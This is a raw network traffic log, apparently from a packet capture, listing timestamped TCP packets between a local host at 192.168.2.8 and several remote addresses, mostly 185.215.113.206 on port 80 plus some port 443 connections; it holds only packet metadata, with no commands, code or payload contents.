Nov 21, 2024 19:58:48.431512117 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.431550980 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.431643009 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.431695938 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.432193041 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.432260990 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.432379961 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.432440996 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.432917118 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.432976007 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.432990074 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.433511019 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.433612108 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.433701038 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.433743954 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.433811903 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.434303045 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.434365988 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.434431076 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.435013056 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.435131073 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.435198069 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.435703993 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.435878038 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.435923100 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.436062098 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.436511040 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.436570883 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.436640024 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.436707973 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.437211990 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.437278032 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.437282085 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.437788010 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.437813997 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.437841892 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.437942028 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.438030005 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.438524961 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.438590050 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.438657045 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.438723087 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.439213037 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.439276934 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.439362049 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.439493895 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.439899921 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.440043926 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.440118074 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.440594912 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.440670967 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.440747976 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.440838099 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.441302061 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.441400051 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.441461086 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.441591978 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.442037106 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.442100048 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.442153931 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.442290068 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.442821026 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.443111897 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.443178892 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.443409920 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.443614960 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.443619013 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.443734884 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.444132090 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.444240093 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.444268942 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.444434881 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.444783926 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.444849968 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.444972038 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.445081949 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.445641994 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.445794106 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.445899963 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.446194887 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.446269035 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.446299076 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.446398020 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.446907997 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.446995974 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.447048903 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.447220087 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.447619915 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.447784901 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.447834015 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.447868109 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.448323965 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.448405981 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.448463917 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.448613882 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.505742073 CET	443	49794	20.25.227.174	192.168.2.8
Nov 21, 2024 19:58:48.505790949 CET	443	49794	20.25.227.174	192.168.2.8
Nov 21, 2024 19:58:48.505831957 CET	49794	443	192.168.2.8	20.25.227.174
Nov 21, 2024 19:58:48.505848885 CET	443	49794	20.25.227.174	192.168.2.8
Nov 21, 2024 19:58:48.505891085 CET	49794	443	192.168.2.8	20.25.227.174
Nov 21, 2024 19:58:48.505891085 CET	49794	443	192.168.2.8	20.25.227.174
Nov 21, 2024 19:58:48.506119967 CET	49794	443	192.168.2.8	20.25.227.174
Nov 21, 2024 19:58:48.506160021 CET	443	49794	20.25.227.174	192.168.2.8
Nov 21, 2024 19:58:48.506324053 CET	49794	443	192.168.2.8	20.25.227.174
Nov 21, 2024 19:58:48.622567892 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.622613907 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.622694016 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.622894049 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.622967958 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.623023033 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.623456955 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.623598099 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.623617887 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.623672009 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.624258041 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.624394894 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.624654055 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.624939919 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.625022888 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.625077963 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.625154018 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.625689030 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.625819921 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.625901937 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.626462936 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.626538038 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.626581907 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.626648903 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.627057076 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.627099037 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.627207994 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.627810955 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.627953053 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.628025055 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.628187895 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.628473043 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.628535986 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.628588915 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.629184008 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.629347086 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.629422903 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.629874945 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.630116940 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.630561113 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.630628109 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.630774021 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.631293058 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.631381989 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.631424904 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.632004023 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.632035017 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.632206917 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.632263899 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.632663965 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.633042097 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.633114100 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.633451939 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.633470058 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.633533001 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.634088993 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.634231091 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.634423971 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.634834051 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.634852886 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.634870052 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.634907007 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.635493040 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.635600090 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.636010885 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.636101961 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.636234999 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.636254072 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.636291981 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.636321068 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.636895895 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.637039900 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.637479067 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.637839079 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.637860060 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.637947083 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.639034033 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.639053106 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.639120102 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.639157057 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.639178038 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.639199018 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.639250994 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.639277935 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.639805079 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.639926910 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.640067101 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.640590906 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.640661001 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.641304970 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.641323090 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.641392946 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.641477108 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.641715050 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.641804934 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.641925097 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.642129898 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.642194986 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.642579079 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.642656088 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.642699957 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.643251896 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.643347025 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.643980980 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.644000053 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.644037008 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.644102097 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.644640923 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.644717932 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.644905090 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.644961119 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.645322084 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.645441055 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.645634890 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.646039009 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.646156073 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.646169901 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.646302938 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.646716118 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.647373915 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.647452116 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.647521973 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.647541046 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.647592068 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.647592068 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.648137093 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.648200035 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.648236990 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.648447037 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.648807049 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.649182081 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.649255991 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.649530888 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.649636984 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.649673939 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.649815083 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.650201082 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.650260925 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.650495052 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.650552988 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.650916100 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.651196957 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.651439905 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.651582003 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.651645899 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.651664972 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.651722908 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.652312994 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.652455091 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.652532101 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.653060913 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.653136015 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.653415918 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.653495073 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.653738976 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.653805017 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.653857946 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.654396057 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.654524088 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.654601097 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.655177116 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.655195951 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.655287981 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.655807018 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.655886889 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.656130075 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.656245947 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.656496048 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.656554937 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.656936884 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.657181025 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.657321930 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.657341957 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.657449007 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.657929897 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.658219099 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.658324003 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.658653975 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.658726931 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.658812046 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.659035921 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.659272909 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.659643888 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.677265882 CET	443	49797	104.70.121.26	192.168.2.8
Nov 21, 2024 19:58:48.677572012 CET	49797	443	192.168.2.8	104.70.121.26
Nov 21, 2024 19:58:48.677589893 CET	443	49797	104.70.121.26	192.168.2.8
Nov 21, 2024 19:58:48.678061008 CET	443	49797	104.70.121.26	192.168.2.8
Nov 21, 2024 19:58:48.681335926 CET	49797	443	192.168.2.8	104.70.121.26
Nov 21, 2024 19:58:48.681449890 CET	443	49797	104.70.121.26	192.168.2.8
Nov 21, 2024 19:58:48.729177952 CET	49797	443	192.168.2.8	104.70.121.26
Nov 21, 2024 19:58:48.802414894 CET	49801	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:48.802473068 CET	443	49801	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:48.802563906 CET	49801	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:48.802942038 CET	49802	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:48.802975893 CET	443	49802	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:48.803164005 CET	49803	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:48.803174019 CET	443	49803	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:48.803227901 CET	49802	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:48.803349018 CET	49803	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:48.803399086 CET	49804	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:48.803432941 CET	443	49804	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:48.803580046 CET	49805	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:48.803602934 CET	49804	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:48.803680897 CET	443	49805	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:48.803699017 CET	49806	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:48.803706884 CET	443	49806	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:48.803752899 CET	49805	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:48.803781986 CET	49806	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:48.803961992 CET	49801	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:48.803976059 CET	443	49801	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:48.804069042 CET	49802	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:48.804084063 CET	443	49802	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:48.804162979 CET	49803	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:48.804172039 CET	443	49803	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:48.804281950 CET	49806	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:48.804296017 CET	443	49806	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:48.804398060 CET	49805	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:48.804430008 CET	443	49805	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:48.804546118 CET	49804	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:48.804555893 CET	443	49804	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:48.834229946 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.834238052 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.834321022 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.834434986 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.834511995 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.834598064 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.835084915 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.835371971 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.835501909 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.835700989 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.835776091 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.835963964 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.836314917 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.836494923 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:48.836560965 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:48.836709023 CET	80	49746	185.215.113.206	192.168.2.8
